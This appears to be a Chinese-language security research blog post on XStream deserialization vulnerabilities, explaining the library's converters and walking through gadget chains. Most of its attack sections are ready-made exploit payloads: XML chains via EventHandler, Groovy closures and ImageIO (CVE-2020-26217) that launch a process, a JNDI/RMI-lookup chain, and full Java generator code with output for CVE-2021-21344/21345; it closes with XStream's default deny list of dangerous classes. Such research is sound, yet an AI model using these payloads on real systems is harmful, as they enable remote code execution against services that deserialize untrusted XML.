XStream 反序列化

XStream可以将Java对象序列化成XML,也能将XML数据反序列化成Java对象。

既然XStream能够将XML数据转换成Java对象,那么当XML数据可控,在构建Java对象时就可能会出现问题。

XStream基础

序列化和反序列化功能分别为toXML和fromXML函数。

Person p = new Person("JrXnm");
p.print();
XStream xs = new XStream();
String xml = xs.toXML(p);
System.out.println(xml);
Person pp = (Person) xs.fromXML(xml);
pp.print();

XStream源码结构

详细内容主要学习来自这里, 下面介绍一些关键内容。

XStream中几个关键的组件:

Mapper: 将XML的节点名与类对象进行映射。

ConverterLookup :根据mapper获取到的类对象,调用lookupConverterForType获取对应类的Converter,将其转化成对应实例对象。

MarshallingStrategy :解组编组策略。其中TreeUnmarshaller可以调用mapper和Converter把XML转化成java对象。

所以XStream将xml转换成java对象的整个过程就是:

image-20210706110202753

Converters

对不同对象XStream应用不同的Converter转换。XStream实现了非常多的Converters,

wh1t3p1g师傅的文章中介绍了几种重要的Converter:MapConverter,TreeSet/TreeMapConverter、DynamicProxyConverter。

其中MapConverter是对Map类型对象进行转换,会调用其hashcode方法。

TreeSet/TreeMapConverter是对TreeSet/TreeMap对象的转换,这个过程会调用compareTo方法。

DynamicProxyConverter是对动态代理进行的转换。

XStream漏洞利用分类

XStream允许序列化内部字段和内部类,包括private和final,是因为对于对象的构建XStream是通过反射实现的。所以对于FastJson中一些使用getter、setter才能利用的链,XStream无法利用。

无论是否实现了Serializable接口XStream都可以正常序列化与反序列化,但是对于实现了Serializable接口的类,XStream也会调用其readObject方法,就像普通的反序列化一样。

再者,与常规的反序列化链一样,HashMapPriorityQueueTreeSet/TreeMap等对象在反序列化时在read通常会调用hashCodeequalcompareTo等方法确保键值唯一,这样的话在XStream反序列化时也能调用这些方法。

所以根据上述的原理,我将XStream漏洞利用方法分为以下几类。

  1. 直接利用现存已有的反序列化链比如cc1,cc2,cc3等。
  2. 寻找XStream在构建对象时会触发的方法,并找到利用链。
  3. 根据XStream可以序列化反序列化限制类的特性,找到新链。

XStream漏洞利用

利用现有反序列化链

直接调用yso的链。

package ysoserial.payloads.mytest;

import ysoserial.payloads.CommonsCollections2;
import com.thoughtworks.xstream.XStream;

public class testXstream{
    public static void main(String[] args) throws Exception {
        Object cc2 = new CommonsCollections2().getObject("calc");
        XStream xs = new XStream();
        String xml = xs.toXML(cc2);
        System.out.println(xml);
        xs.fromXML(xml);
    }
}

XStream中的新链

EventHandler(CVE-2013-7285&&CVE-2019-10173)

wh1t3p1g师傅讲得很清楚了。我们知道动态代理是由实现InvocationHandler接口的类invoke函数实现的。EventHandler实现了InvocationHandler接口。它的invoke函数可以任意调用某些类的特定方法。这样反序列化得对象执行任何方法时都会执行动态代理得invoke方法。

其中方法名不为:hashcode、equals、toString。且无参数或者单个参数,且参数的类型为Comparable

根据上面的基础知识,我们可以使用TreeSet/TreeMap对象在反序列化时自动调用compareTo方法得特性触发。

下面是几种payload构造方法。

TreeSet:

<sorted-set>  
  <string>foo</string>
  <dynamic-proxy>
    <interface>java.lang.Comparable</interface>
    <handler class="java.beans.EventHandler">
      <target class="java.lang.ProcessBuilder">
        <command>
          <string>calc</string>
        </command>
      </target>
      <action>start</action>
    </handler>
  </dynamic-proxy>
</sorted-set>

TreeMap:

<tree-map>
  <entry>
    <string>foo</string>
    <string>111</string>
  </entry>
  <entry>
    <dynamic-proxy>
      <interface>java.lang.Comparable</interface>
      <handler class="java.beans.EventHandler">
        <target class="java.lang.ProcessBuilder">
          <command>
            <string></string>
          </command>
          <redirectErrorStream>false</redirectErrorStream>
        </target>
        <action>start</action>
      </handler>
    </dynamic-proxy>
    <string>123</string>
  </entry>
</tree-map>

rmi方法:

<tree-map>
  <entry>
    <dynamic-proxy>
      <interface>java.lang.Comparable</interface>
      <handler class="java.beans.EventHandler">
        <target class="com.sun.rowset.JdbcRowSetImpl" serialization="custom">
          <javax.sql.rowset.BaseRowSet>
            <default>
              <dataSource>rmi://127.0.0.1:9999/xxx</dataSource>
            </default>
          </javax.sql.rowset.BaseRowSet>
        </target>
        <action>getDatabaseMetaData</action>
      </handler>
    </dynamic-proxy>
    <string>123</string>
  </entry>
</tree-map>

Groovy ConvertedClosure

和ysoserial中的Groovy1类似,ConvertedClosure实现了InvocationHandler,而在它的invoke函数中可以触发到恶意函数。在反序列化链分析的这篇文章中,我们提到了动态代理执行的函数不能为hashcode、equals、toString等。

在这里我们用到的是TreeSet/TreeMap调用的compareTo。因为XStream可以反序列化未实现无论是否实现了Serializable接口的类,所以这里我们可以利用Runtime.exec

查看payload。

<sorted-set>
  <string>calc</string>
  <dynamic-proxy>
    <interface>java.lang.Comparable</interface>
    <handler class="org.codehaus.groovy.runtime.ConvertedClosure">
      <delegate class="org.codehaus.groovy.runtime.MethodClosure">
        <delegate class="java.lang.Runtime"/>
        <owner class="java.lang.Runtime" reference="../delegate"/>
        <method>exec</method>
      </delegate>
      <handleCache/>
      <methodName>compareTo</methodName>
    </handler>
  </dynamic-proxy>
</sorted-set>

Groovy Expando

上面都是用了compareTo方法,这条链用的是hashcode方法,即HashMap类型。

image-20210706213949830

简单分析就能发现又执行到了MethodClosure.call中,不过这次和上面相比,没有参数。无参就可以直接利用groovy1的方法,直接执行或者用ProcessBuilder。类似下面

MethodClosure m = new MethodClosure("calc", "execute");
// MethodClosure m = new MethodClosure(new ProcessBuilder("calc"), "start");
Expando exp = new Expando();
exp.setProperty("hashCode",m);
HashMap h = new HashMap();
h.put(exp, 123);

最后xml的payload

<map>
  <entry>
    <groovy.util.Expando>
      <expandoProperties>
        <entry>
          <string>hashCode</string>
          <org.codehaus.groovy.runtime.MethodClosure>
            <delegate class="string">calc</delegate>
            <owner class="string">calc</owner>
            <method>execute</method>
          </org.codehaus.groovy.runtime.MethodClosure>
        </entry>
      </expandoProperties>
    </groovy.util.Expando>
    <groovy.util.Expando />
  </entry>
</map>

ImageIO(CVE-2020-26217)

这条链利用的也是HashMap自动调用hashCode方法的触发点,链路比较长如下图, 能把这么长的链勾连起来着实不容易。

image-20210707112016412

最后的payload:

<map>
  <entry>
    <jdk.nashorn.internal.objects.NativeString>
      <flags>0</flags>
      <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
        <dataHandler>
          <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
            <is class="javax.crypto.CipherInputStream">
              <cipher class="javax.crypto.NullCipher">
                <initialized>false</initialized>
                <opmode>0</opmode>
                <serviceIterator class="javax.imageio.spi.FilterIterator">
                  <iter class="javax.imageio.spi.FilterIterator">
                    <iter class="java.util.Collections$EmptyIterator"/>
                    <next class="java.lang.ProcessBuilder">
                      <command class="java.util.Arrays$ArrayList">
                        <a class="string-array">
                          <string>calc</string>
                        </a>
                      </command>
                      <redirectErrorStream>false</redirectErrorStream>
                    </next>
                  </iter>
                  <filter class="javax.imageio.ImageIO$ContainsFilter">
                    <method>
                      <class>java.lang.ProcessBuilder</class>
                      <name>start</name>
                      <parameter-types/>
                    </method>
                    <name>foo</name>
                  </filter>
                  <next class="string">foo</next>
                </serviceIterator>
                <lock/>
              </cipher>
              <input class="java.lang.ProcessBuilder$NullInputStream"/>
              <ibuffer></ibuffer>
              <done>false</done>
              <ostart>0</ostart>
              <ofinish>0</ofinish>
              <closed>false</closed>
            </is>
            <consumed>false</consumed>
          </dataSource>
          <transferFlavors/>
        </dataHandler>
        <dataLen>0</dataLen>
      </value>
    </jdk.nashorn.internal.objects.NativeString>
    <jdk.nashorn.internal.objects.NativeString />
  </entry>
  <entry>
    <jdk.nashorn.internal.objects.NativeString />
    <jdk.nashorn.internal.objects.NativeString />
  </entry>
</map

ServiceLoader$LazyIterator

这条链共用了上条链的前大部分过程,在调用到下面部分时,this.serviceIterator为Iterator对象。

image-20210707161307446

java.util.ServiceLoader$LazyIterator类的next方法中会调用Class.forName, 其中ClassName和loader都可控,可以利用以前BCEL的classLoader会把className内容当字节码加载的gadget实现getshell。

image-20210707162814248

注意虽然Class.forName的第二个参数为false无法加载类的静态块,但是在后续实例化了这个类,所以可以在无参构造函数里插入恶意代码。

payload 构造方法参考wh1t3p1g师傅的ysomap

其他利用链

官网列出了后面所有的公开链,都是以XStream可以反序列化未实现Serializable接口的类这个特性。师傅们找出了很多很强的有意思的链。

CVE-2021-21344/CVE-2021-21345

这条链很强,很长的一条链,从PriorityQueue的readObject调用compare作为入口点,直到com.sun.xml.internal.bind.v2.runtime.reflect.Accessor.GetterSetterReflection的get方法进行了反射调用。关键点在于Accessor.GetterSetterReflection类虽然未实现Serializable接口,但是仍然可以反序列化使用。

下面是我根据师傅们的payload和ysomap构建的payload生成方式。可以看出来是很复杂的。 21344是在最后的反射调用jndi,21345是利用com.sun.corba.se.impl.activation.ServerTableEntry处的命令执行,我测试的时候使用的是1.4.6版本的没有ban掉ProcessBuilder,所以也可以直接用ProcessBuilder.start直接执行命令。

image-20210708174307626
class CVE21344 {

    public static Object deserialize(final byte[] serialized) throws IOException, ClassNotFoundException {
        ByteArrayInputStream in1 = new ByteArrayInputStream(serialized);
        ObjectInputStream objIn = new ObjectInputStream(in1);
        return objIn.readObject();
    }

    public static byte[] serialize(Object o) throws Exception{
        ByteArrayOutputStream out = new ByteArrayOutputStream();
        ObjectOutputStream oout = new ObjectOutputStream(out);
        oout.writeObject(o);
        return out.toByteArray();
    }


    static void main(String[] args) {
        XStream xs = new XStream();
        String xml = getXml();
        //xs.fromXML(xml);
        Object o = getObject();
        String xml1 = xs.toXML(o);
        System.out.println(xml1);
        xs.fromXML(xml1);
    }

    static Object getObject(){

        JAXBContextImpl.JAXBContextBuilder bb = new JAXBContextImpl.JAXBContextBuilder();
        JAXBContextImpl jbc = getNewInstances(JAXBContextImpl.class);
        NameList nl = getNewInstances(NameList.class);
        setFieldValue(nl, "namespaceURIs", new String[0]);
        setFieldValue(nl, "localNames", new String[0]);
        setFieldValue(jbc, "nameList", nl);

        Class clazz2 = Class.forName("com.sun.xml.internal.bind.v2.runtime.JAXBContextImpl\$1");
        Object o4 = getNewInstances(clazz2);
        setFieldValue(o4, "this\$0", jbc);

        setFieldValue(jbc, "marshallerPool", o4);

        Method m = JdbcRowSetImpl.class.getDeclaredMethod("getDatabaseMetaData");

        Accessor.GetterSetterReflection ag = getNewInstances(Accessor.GetterSetterReflection.class);
        setFieldValue(ag, "getter", m);


        ClassBeanInfoImpl jbi = getNewInstances(ClassBeanInfoImpl.class);
        setFieldValue(jbi, "jaxbType", JdbcRowSetImpl.class);
        setFieldValue(jbi, "uriProperties", new ValueProperty[0]);
        setFieldValue(jbi, "inheritedAttWildcard", ag);

        Class clazz1 = Class.forName("com.sun.xml.internal.bind.v2.runtime.BridgeImpl");
        Bridge oo2 = (Bridge) getNewInstances(clazz1);
        setFieldValue(oo2, "context", jbc)
        setFieldValue(oo2, "bi", jbi);

        BridgeWrapper bw = new BridgeWrapper(null, oo2);

        JdbcRowSetImpl jdbc = getNewInstances(JdbcRowSetImpl.class);
        setFieldValue(jdbc, "dataSource", "rmi://127.0.0.1:9999/xxxx");

        JAXBAttachment jax = new JAXBAttachment("xx", jdbc, bw, null);


        Message msg = getNewInstances(XMLMessage.XMLMultiPart.class);
        setFieldValue(msg, "dataSource", jax);

        Class clazz = Class.forName("com.sun.xml.internal.ws.api.message.MessageWrapper");
        Message mm = getNewInstances(clazz);

        setFieldValue(mm, "delegate", msg);
        Packet p = getNewInstances(Packet.class)
        p.setMessage(mm);
        setFieldValue(p, "satellites", new HashMap());
        setFieldValue(p, "invocationProperties", new HashMap());

        ResponseContext r = getNewInstances(ResponseContext.class);
        setFieldValue(r, "packet", p);


        Comparator d = getNewInstances(DataTransferer.IndexOrderComparator.class);
        setFieldValue(d, "indexMap", r);

        PriorityQueue pp = new PriorityQueue();
        setFieldValue(pp, "comparator", d);
        Object [] ooo = new Object[2];
        ooo[0] = "javax.xml.ws.binding.attachments.inbound";
        ooo[1] = "javax.xml.ws.binding.attachments.inbound";
        setFieldValue(pp, "queue", ooo);
        setFieldValue(pp, "size", 2);

        return pp;
    }


    public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
        final Field field = getField(obj.getClass(), fieldName);
        field.set(obj, value);
    }

    public static Field getField(final Class<?> clazz, final String fieldName) {
        Field field = null;
        try {
            field = clazz.getDeclaredField(fieldName);
            setAccessible(field);
        } catch (NoSuchFieldException ex) {
            if (clazz.getSuperclass() != null)
                field = getField(clazz.getSuperclass(), fieldName);
        }
        return field;
    }

    public static void setAccessible(AccessibleObject member) {
        // quiet runtime warnings from JDK9+
        Permit.setAccessible(member);
    }


    static <T> T getNewInstances(Class <T> clazz){
        Constructor cc3 = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(clazz,
                Object.getDeclaredConstructor())
        cc3.setAccessible(true);
        return (T) cc3.newInstance();
    }
}

下面的调用图就是最后利用ProcessBuilder.start执行命令的链。

image-20210708172404217

下面是我生成的payload:

<java.util.PriorityQueue serialization="custom">
  <unserializable-parents/>
  <java.util.PriorityQueue>
    <default>
      <size>2</size>
      <comparator class="sun.awt.datatransfer.DataTransferer$IndexOrderComparator">
        <order>false</order>
        <indexMap class="com.sun.xml.internal.ws.client.ResponseContext">
          <packet>
            <satellites/>
            <message class="com.sun.xml.internal.ws.api.message.MessageWrapper">
              <messageMetadata class="com.sun.xml.internal.ws.api.message.Packet" reference="../.."/>
              <delegate class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XMLMultiPart">
                <messageMetadata class="com.sun.xml.internal.ws.api.message.Packet" reference="../../.."/>
                <dataSource class="com.sun.xml.internal.ws.message.JAXBAttachment">
                  <contentId>xx</contentId>
                  <jaxbObject class="com.sun.rowset.JdbcRowSetImpl" serialization="custom">
                    <javax.sql.rowset.BaseRowSet>
                      <default>
                        <concurrency>0</concurrency>
                        <escapeProcessing>false</escapeProcessing>
                        <fetchDir>0</fetchDir>
                        <fetchSize>0</fetchSize>
                        <isolation>0</isolation>
                        <maxFieldSize>0</maxFieldSize>
                        <maxRows>0</maxRows>
                        <queryTimeout>0</queryTimeout>
                        <readOnly>false</readOnly>
                        <rowSetType>0</rowSetType>
                        <showDeleted>false</showDeleted>
                        <dataSource>rmi://127.0.0.1:9999/xxxx</dataSource>
                      </default>
                    </javax.sql.rowset.BaseRowSet>
                    <com.sun.rowset.JdbcRowSetImpl>
                      <default/>
                    </com.sun.rowset.JdbcRowSetImpl>
                  </jaxbObject>
                  <bridge class="com.sun.xml.internal.ws.db.glassfish.BridgeWrapper">
                    <bridge class="com.sun.xml.internal.bind.v2.runtime.BridgeImpl">
                      <context>
                        <marshallerPool class="com.sun.xml.internal.bind.v2.runtime.JAXBContextImpl$1">
                          <outer-class reference="../.."/>
                        </marshallerPool>
                        <nameList>
                          <namespaceURIs/>
                          <localNames/>
                          <numberOfElementNames>0</numberOfElementNames>
                          <numberOfAttributeNames>0</numberOfAttributeNames>
                        </nameList>
                        <c14nSupport>false</c14nSupport>
                        <xmlAccessorFactorySupport>false</xmlAccessorFactorySupport>
                        <allNillable>false</allNillable>
                        <retainPropertyInfo>false</retainPropertyInfo>
                        <supressAccessorWarnings>false</supressAccessorWarnings>
                        <improvedXsiTypeHandling>false</improvedXsiTypeHandling>
                        <disableSecurityProcessing>false</disableSecurityProcessing>
                        <hasSwaRef>false</hasSwaRef>
                        <fastBoot>false</fastBoot>
                      </context>
                      <bi class="com.sun.xml.internal.bind.v2.runtime.ClassBeanInfoImpl">
                        <isNilIncluded>false</isNilIncluded>
                        <flag>0</flag>
                        <jaxbType>com.sun.rowset.JdbcRowSetImpl</jaxbType>
                        <inheritedAttWildcard class="com.sun.xml.internal.bind.v2.runtime.reflect.Accessor$GetterSetterReflection">
                          <getter>
                            <class>com.sun.rowset.JdbcRowSetImpl</class>
                            <name>getDatabaseMetaData</name>
                            <parameter-types/>
                          </getter>
                        </inheritedAttWildcard>
                        <retainPropertyInfo>false</retainPropertyInfo>
                        <uriProperties class="com.sun.xml.internal.bind.v2.runtime.property.ValueProperty-array"/>
                      </bi>
                    </bridge>
                  </bridge>
                </dataSource>
              </delegate>
            </message>
            <wasTransportSecure>false</wasTransportSecure>
            <isAdapterDeliversNonAnonymousResponse>false</isAdapterDeliversNonAnonymousResponse>
            <packetTakesPriorityOverRequestContext>false</packetTakesPriorityOverRequestContext>
            <invocationProperties/>
            <isFastInfosetDisabled>false</isFastInfosetDisabled>
          </packet>
        </indexMap>
      </comparator>
    </default>
    <int>3</int>
    <string>javax.xml.ws.binding.attachments.inbound</string>
    <string>javax.xml.ws.binding.attachments.inbound</string>
  </java.util.PriorityQueue>
</java.util.PriorityQueue>

其他

其他链从cve从21346-21351都是类似的,m0d9师傅这篇文章都介绍了。我们这里就不详细分析了。

XStream安全措施

目前看来XStream的安全措施是允许用户设置白名单,系统默认黑名单。下面是1.4.17默认的黑名单。

protected void setupSecurity() {
    if (this.securityMapper != null) {
        this.addPermission(AnyTypePermission.ANY);
        this.denyTypes(new String[]{"java.beans.EventHandler", "java.lang.ProcessBuilder", "javax.imageio.ImageIO$ContainsFilter", "jdk.nashorn.internal.objects.NativeString", "com.sun.corba.se.impl.activation.ServerTableEntry", "com.sun.tools.javac.processing.JavacProcessingEnvironment$NameProcessIterator", "sun.awt.datatransfer.DataTransferer$IndexOrderComparator", "sun.swing.SwingLazyValue"});
        this.denyTypesByRegExp(new Pattern[]{LAZY_ITERATORS, LAZY_ENUMERATORS, GETTER_SETTER_REFLECTION, PRIVILEGED_GETTER, JAVA_RMI, JAVAX_CRYPTO, JAXWS_ITERATORS, JAVAFX_OBSERVABLE_LIST__, BCEL_CL});
        this.denyTypeHierarchy(InputStream.class);
        this.denyTypeHierarchyDynamically("java.nio.channels.Channel");
        this.denyTypeHierarchyDynamically("javax.activation.DataSource");
        this.denyTypeHierarchyDynamically("javax.sql.rowset.BaseRowSet");
        this.allowTypeHierarchy(Exception.class);
        this.securityInitialized = false;
    }

总结

XStream因其特殊的反序列化方式,从而让反序列化链构造面增大了很多,师傅们就开始了喜闻乐见的bypass blacklist的挖链活动了XD。

ref

https://github.com/wh1t3p1g/ysomap

https://www.anquanke.com/post/id/204314

https://www.jianshu.com/p/387c568faf62

http://m0d9.me/2021/05/08/Xstream%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E8%AF%A6%E8%A7%A3%EF%BC%88%E4%B8%80%EF%BC%89/

http://m0d9.me/2021/05/10/XStream%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E8%AF%A6%E8%A7%A3%EF%BC%88%E4%BA%8C%EF%BC%89/

https://paper.seebug.org/1543/